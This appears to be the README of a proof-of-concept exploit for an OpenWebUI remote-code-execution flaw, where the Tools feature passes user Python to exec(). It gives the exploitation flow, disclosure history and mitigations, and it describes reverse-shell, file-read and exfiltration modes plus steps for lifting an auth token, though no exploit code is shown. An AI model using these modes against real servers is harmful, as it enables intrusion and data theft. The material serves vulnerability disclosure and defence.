What is OpenWebUI?

OpenWebUI is a self-hosted web interface for Large Language Models. It provides a ChatGPT-like experience that organizations can run on their own infrastructure, keeping LLM conversations and data on-premises.

The Vulnerability

OpenWebUI includes a "Tools" feature that allows users to extend LLM capabilities by submitting Python code. This code is executed server-side via Python's exec() function without any sandboxing, validation, or security controls.

Exploitation flow:

1. Authenticated user creates a "Tool" via POST /api/v1/tools/create
2. User-supplied Python code is stored in the content field
3. Server calls exec(content, module.__dict__) in utils/plugin.py
4. Arbitrary Python code executes with full server privileges
5. Attacker achieves Remote Code Execution (RCE)

Key insight: The code executes at tool creation time, not when the LLM invokes the tool. This means simply creating a malicious tool triggers RCE - no further interaction needed.

Tested Versions

This exploit has been verified on:

• OpenWebUI v0.8.10 - Vulnerable ✅ (tested 2026-03-28)

The vulnerability is architectural (unsafe use of exec() on user input) and exists across all versions until a security patch is released by the OpenWebUI team.

🔍 Technical Details

Root Cause

The vulnerability exists in backend/open_webui/utils/plugin.py:

The replace_imports() function only rewrites import paths (cosmetic) - it does not restrict what code can execute. There is:

• ❌ No sandboxing (no restricted execution environment)
• ❌ No code validation (no AST inspection or allowlisting)
• ❌ No permission checks (all authenticated users can create tools by default)
• ❌ No privilege separation (code runs as the OpenWebUI service account)

Vendor Response

The OpenWebUI team initially assessed this as low-priority, noting that tool creation requires administrator permissions. However:

1. Permission delegation is common - Many deployments grant tool creation to power users, workspace admins, and developers
2. Compromised admin accounts - Phishing, credential stuffing, and SSO compromise can give attackers admin access
3. Defense in depth violation - Even admin actions should be constrained; unrestricted code execution breaks the principle of least privilege
4. Post-compromise utility - This vulnerability is valuable in attack chains after initial access

After the vendor proposed administrato should manage this with restricted acess. ZDI has published this as a 0-day vulnerability (ZDI-26-032) to inform defenders.

The author respects the challenges of maintaining open-source projects. Security patching requires balancing user needs, architectural constraints, and limited resources. This publication aims to help security teams assess risk and implement mitigation.

🛠️ Proof of Concept

Installation

Usage

The exploit script (exploit.py) supports multiple attack modes:

1. Command Execution

Execute OS commands and retrieve output:

2. File Read

Read files from the server filesystem:

3. Reverse Shell

Spawn a reverse shell (requires netcat listener):

4. Blind Exfiltration

Send command output to an HTTP callback server:

Authentication

The script accepts both JWT tokens (from SSO login) and API keys:

Getting a JWT token:

1. Log into OpenWebUI normally (SSO or local auth)
2. Open browser DevTools (F12)
3. Find your token:
   • Cookies tab: Look for token cookie value
   • Network tab: Copy Authorization: Bearer ... header from any API request
   • Console: Run localStorage.getItem("token")
4. Pass the token to the script: --token eyJhbGci...

🔐 Mitigations

For Defenders

If you run OpenWebUI and cannot immediately patch:

1. Restrict tool creation permissions to only highly-trusted administrators
2. Audit existing tools for malicious code (check tool content in database)
3. Run OpenWebUI with minimal privileges (dedicated service account, read-only filesystem where possible)
4. Implement network egress filtering (container should not have arbitrary outbound access)
5. Monitor for suspicious tool creation (watch for tools created outside normal workflows)

Recommended Fixes (for maintainers)

1. Replace exec() with a safe alternative:

   • Use RestrictedPython for sandboxed execution
   • Parse Python AST and validate against allowlist of safe operations
   • Execute tool code in isolated containers (gVisor, Firecracker)

2. Add permission checks:

   • Require admin approval for new tools
   • Implement role-based access control for tool creation
   • Add code review workflow before tools become active

3. Defense in depth:

   • Run tools in separate processes with syscall filtering (seccomp)
   • Limit filesystem access to read-only
   • Remove network access from tool execution environment

📚 References

• NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-0766
• ZDI Advisory: https://www.zerodayinitiative.com/advisories/ZDI-26-032/
• GitHub Security Advisory: https://github.com/advisories/GHSA-cggw-334c-f4mj
• CWE-94 (Code Injection): https://cwe.mitre.org/data/definitions/94.html
• OWASP Code Injection: https://owasp.org/www-community/attacks/Code_Injection

🙏 Credits

• Vulnerability Discovery: Zero Day Initiative (ZDI) - ZDI-26-032 / ZDI-CAN-28257
• Exploitation Research & PoC Development: Pradeep Pillai (@bitt0n)

📜 License

MIT License - See LICENSE file for details.

This code is provided for educational and defensive security purposes. The author is not responsible for misuse.

🤝 Responsible Disclosure

This vulnerability was responsibly disclosed:

1. ZDI discovered and reported the vulnerability to OpenWebUI
2. Coordinated disclosure period provided to vendor for patching
3. Vendor declined to patch (assessed as acceptable risk)
4. ZDI published as 0-day to inform the security community
5. This PoC published post-disclosure to help defenders assess risk

If you discover security vulnerabilities in open-source projects, please follow responsible disclosure practices and give maintainers time to patch before public disclosure.

For questions or feedback: Open an issue in this repository.